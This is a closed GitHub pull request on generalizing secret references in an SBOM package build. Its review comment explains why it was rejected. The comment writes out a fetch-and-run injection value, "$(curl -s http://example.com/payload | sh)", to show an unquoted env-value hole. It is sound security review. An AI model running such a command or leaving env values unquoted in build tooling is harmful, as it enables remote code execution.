Skip to content

feat(sbom): generilize package secret references - #313

Closed
nervgh wants to merge 4 commits into
mainfrom
feat/sbom/generalize-secrets-usage
Closed

nervgh wants to merge 4 commits into
mainfrom
feat/sbom/generalize-secrets-usage

Conversation

@nervgh

@nervgh nervgh commented Sep 9, 2026

Copy link
Copy Markdown

No description provided.

Generalize secret expansion beyond `PACKAGES_VERSION` and `REGISTRY`
while preserving existing defaults and documenting security constraints.

Signed-off-by: Alexandr Zaytsev <alexandr.zaytsev@flant.com>
Signed-off-by: Alexandr Zaytsev <alexandr.zaytsev@flant.com>
@nervgh
nervgh force-pushed the feat/sbom/generalize-secrets-usage branch from 97e655b to aeb7acb Compare September 9, 2026 17:45
Define an actionable implementation path covering shared secret
metadata,
validation, compatibility, security, testing, and quality gates.

Signed-off-by: Alexandr Zaytsev <alexandr.zaytsev@flant.com>
Render declared `/run/secrets` references at runtime and validate
their sources without exposing secret values during command generation.

Signed-off-by: Alexandr Zaytsev <alexandr.zaytsev@flant.com>
@nervgh
nervgh marked this pull request as ready for review September 10, 2026 14:27
@alexey-igrychev

Copy link
Copy Markdown
Collaborator

Closing in favour of #315#316#317, which cover the same goal from a different starting point.

What the review of this branch turned up:

  • packages[].env values reach the stage script through Go %q, which leaves $ and backticks intact, so a value like X: "$(curl -s http://example.com/payload | sh)" is executed — on the only stapel stage that has network access. That is fixed in fix(sbom): stop executing shell constructs from packages env values #315 by shell-quoting the values, and it has to land before any secret mechanism, otherwise the mechanism is optional and the hole stays.
  • Env variables never reached the package manager for any file-based type: the generated command was ENV=value cd "/app" && <tool>, where the prefix applies to cd only. os-pm was unaffected. fix(sbom): make packages env variables reach the package manager #316 fixes that, verified with a real build.
  • feat(sbom): read build secrets in packages env values #317 replaces the implicit /run/secrets/<id> value with an explicit %{secret:<id>} / %{secretPath:<id>} syntax. The implicit form cannot express "pass this path as text" for DOCKER_CONFIG-style variables, and it silently changes the meaning of a value that used to be a literal path.

Also worth carrying over if anything from here is revived: this branch drops the automatic REGISTRY="${REGISTRY-$(</run/secrets/REGISTRY)}" from the os-pm prefix and changes ${VAR:-…} to ${VAR-…}, which is a user-visible change for anyone who relied on the secret fallback.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

2 participants